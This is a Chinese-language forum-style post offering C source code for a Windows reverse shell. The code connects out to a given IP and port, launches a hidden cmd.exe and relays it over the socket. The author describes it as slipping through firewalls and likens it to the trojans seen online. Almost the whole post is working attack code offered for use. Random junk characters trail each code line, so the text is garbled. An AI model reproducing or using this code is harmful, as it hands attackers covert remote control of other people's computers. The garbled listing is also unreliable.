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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {JgN^R<5<f  
SD&[K 8-i2  
/* ============================== f- <6T  
Rebound port in Windows NT 2YyZiOMSc  
By wind,2006/7 d#\n)eGr  
===============================*/ dq(x@&J  
#include >g&`g}xZQ  
#include +*V; f,  
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#pragma comment(lib,"wsock32.lib") :dzU]pk%0  
+0 MKh  
void OutputShell(); [XXN0+ /  
SOCKET sClient; W<Lrfo&=Y]  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; UVK"%kW#(  
[P/gM3*'  
void main(int argc,char **argv) v(iUo&Ge  
{ v,&2 !Zv  
WSADATA stWsaData; sFQ|lU"n  
int nRet; 3_$eQ`AAA  
SOCKADDR_IN stSaiClient,stSaiServer; o__q)"^~-  
(4LLTf0  
if(argc != 3) 6{'6_4;Fv(  
{ F0Hbklr  
printf("Useage:\n\rRebound DestIP DestPort\n");  B]7jg9/  
return; Kxn7sL$]=F  
} 7&4,',0VL  
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WSAStartup(MAKEWORD(2,2),&stWsaData); >Il`AR;D  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^v-'=1ub?  
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stSaiClient.sin_family = AF_INET; QGd- 9UEA]  
stSaiClient.sin_port = htons(0); =f!M=D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]aNnY?qW5  
nY)Pxahm7  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `Tj}4f  
{ 3;NRW+  
printf("Bind Socket Failed!\n"); F]YKYF'1I  
return; W#j,{&KVn  
} @3YuV=QfH  
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stSaiServer.sin_family = AF_INET; ItADO'M  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); l #Q`f.  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); d&`j 8O  
jm\#($gl=  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)  #Uh 5tc  
{ "ux]kfoT  
printf("Connect Error!"); AvZ) 1(  
return; Wg^cj:&`u  
} yU,xcq~l  
OutputShell(); p'~5[JR:  
} 31& .Lnq  
u9w&q^0dqG  
void OutputShell()  c^s>  
{ ,rQ)TT  
char szBuff[1024]; x-&v|w'  
SECURITY_ATTRIBUTES stSecurityAttributes;  2p>SB/  
OSVERSIONINFO stOsversionInfo; a}fClI-u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Yj6p19  
STARTUPINFO stStartupInfo; "Q{~Bj~  
char *szShell; 4/?}xD|?  
PROCESS_INFORMATION stProcessInformation; ]0 RXo3  
unsigned long lBytesRead; T+RI8.#o  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \_nmfTr!K  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "R@N|Qx'  
stSecurityAttributes.lpSecurityDescriptor = 0; u=o"^   
stSecurityAttributes.bInheritHandle = TRUE; @BUqQ9q:  
AijTT%  
$?AA"Nz  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); A(OfG&!  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); uz3pc;0LPY  
xY2_*#{.  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *)1Vs'!-  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wxau]uix  
stStartupInfo.wShowWindow = SW_HIDE; [P=[hj;  
stStartupInfo.hStdInput = hReadPipe; 2Fgt)`{!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; + <9 eN  
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GetVersionEx(&stOsversionInfo); H~ n~5 sF"  
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switch(stOsversionInfo.dwPlatformId) aGb. Lh9  
{ < iI6@X>  
case 1: ++DQS9b{  
szShell = "command.com"; f~nt!$  
break; zK4 8vo  
default: _/~ ,a  
szShell = "cmd.exe"; +'KE T,  
break; C_cs(}wi  
} cvE.r330|  
LG{inhbp  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7'i#!5  
6\fMzm  
send(sClient,szMsg,77,0); P3tG#cJ  
while(1) U!?gdX  
{ 5}bZs` C  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); D%UZ'bHN*  
if(lBytesRead) q|i%)V`)-  
{ $?J+dB  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); igB rmaY'  
send(sClient,szBuff,lBytesRead,0); o 7W Kh=  
} 4:&qT Y)H  
else in #]3QGV  
{ m+2`"1IE[  
lBytesRead=recv(sClient,szBuff,1024,0); 4bev* [k  
if(lBytesRead<=0) break; $KWYe{#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); kgapTv>q  
} z<%g #bo  
} w&yGYHg  
Ocwp]Mut&  
return; x2;i< |  
}
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